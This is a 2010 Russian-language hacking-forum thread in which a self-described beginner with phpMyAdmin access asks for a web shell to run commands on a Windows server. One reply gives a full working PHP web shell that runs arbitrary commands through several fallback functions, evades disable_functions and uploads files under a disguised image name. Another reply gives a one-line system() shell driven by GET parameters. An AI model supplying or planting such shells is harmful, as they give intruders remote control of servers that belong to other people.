шелл на windows сервере.

Discussion in 'Болталка' started by AlexTEry, 10 May 2010.

  1. AlexTEry

    AlexTEry Banned

    Joined:
    28 Feb 2010
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    Всем привет. Задача такова:
    Есть доступ в phpmyadmin.
    Дайте пожалуйста шелл, чтобы выполнял команды такого вида:
    http://server.ru/shell.php?cmd=dir и так далее...
    Я в этом новичек.
     
    #1 AlexTEry, 10 May 2010
    Last edited: 10 May 2010
  2. BlackSun

    BlackSun Banned

    Joined:
    1 Apr 2007
    Messages:
    989
    Likes Received:
    1,168
    Reputations:
    446
    PHP:
    <font face="monospace,terminal" size="-1"><pre>
    <?php
        ob_end_clean
    ();
        
    ob_start();
        
    $disablefuncs = array();
        function 
    myshellexec($cmd) {
            global 
    $disablefuncs;
            
            if (empty(
    $cmd)) {
                return 
    '';
            }
            
    $result '';

            if (
    is_callable('exec') and !in_array('exec'$disablefuncs)) {
                
    exec($cmd$result);
                
    $result join("\n"$result);
            } elseif ((
    $result = `$cmd`) !== FALSE) {
                
            } elseif (
    is_callable('system') and !in_array('system')) {
                
    ob_start();
                
    system($cmd);
                
    $result ob_get_contents();
                
    ob_clean();
            } elseif (
    is_callable('passthru') and !in_array('passthru'$disablefuncs)) {
                
    ob_start();
                
    passthru($cmd);
                
    $result ob_get_contents();
                
    ob_clean();
            } elseif (
    is_resource($fp popen($cmd,"r"))) {
                while(!
    feof($fp)) {
                    
    $result .= fread($fp1024);
                }
                
    pclose($fp);
            } else  {
                
    $result 'Shit. Can\'t execute command.';
            }
            return 
    $result;
        }

        if (
    is_callable('ini_get')) {
            
    $disablefuncs ini_get("disable_functions");
            if (!empty(
    $disablefuncs)) {
                
    $disablefuncs str_replace(' '''$disablefuncs);
                
    $disablefuncs explode(','$disablefuncs);
            } else  {
                
    $disablefuncs = array();
            }
        }

        if (isset(
    $_POST['execl'])) {
            echo 
    $_POST['execl']. '<br>';
            echo 
    myshellexec($_POST['execl']);
        }
        if (isset(
    $_POST['pcntl_exec'])) {
            
    pcntl_exec($_POST['pcntl_exec'], $_POST['pcntl_exec_param']);
        }
        if (isset(
    $_FILES['upfile'])) {
            if (
    is_uploaded_file($_FILES['upfile']['tmp_name'])) {
                
    move_uploaded_file($_FILES['upfile']['tmp_name'], $_POST['fname']);
                echo 
    '<b>Uploaded!</b>';
            }
        }
    ?><br>
    </pre>
    <form method="POST" action="<?php echo '?'$_SERVER['QUERY_STRING']; ?>">
        /bin/bash: <input type="text" name="execl" id="bash" style="width:80%"><input type="submit">
    </form><br>
    <form method="POST" action="<?php echo '?'$_SERVER['QUERY_STRING']; ?>">
        pcntl_exec: <input type="text" name="pcntl_exec" style="width:200px"><input type="text" name="pcntl_exec_param" style="width:70%"><input type="submit">
    </form>
    <form method="POST" action="<?php echo '?'$_SERVER['QUERY_STRING']; ?>" enctype="multipart/form-data">
        upload: <input type="text" name="fname" style="width:200px" value="profilepic605_1.png"><input type="file" name="upfile" style="width:70%"><input type="submit">
    </form>
    <script>document.getElementById("bash").focus();</script>
    </font>
    <?php
        $text 
    str_replace("\n"'<br />'ob_get_contents());
        
    ob_end_clean();
        echo 
    $text;
    ?>
     
  3. warwar

    warwar Banned

    Joined:
    26 May 2009
    Messages:
    0
    Likes Received:
    55
    Reputations:
    6
    BlackSun по теме. Заливал шелл по видео. Где ошибка?
    Пишет:
    Если Вас не затруднит-помогите.
     
  4. warwar

    warwar Banned

    Joined:
    26 May 2009
    Messages:
    0
    Likes Received:
    55
    Reputations:
    6
  5. Ponchik

    Ponchik Хлебо-булочное изделие

    Joined:
    30 Aug 2005
    Messages:
    687
    Likes Received:
    807
    Reputations:
    311
    <?php system(stripslashes(implode($_GET))); ?>
    юзать ?ololo=dir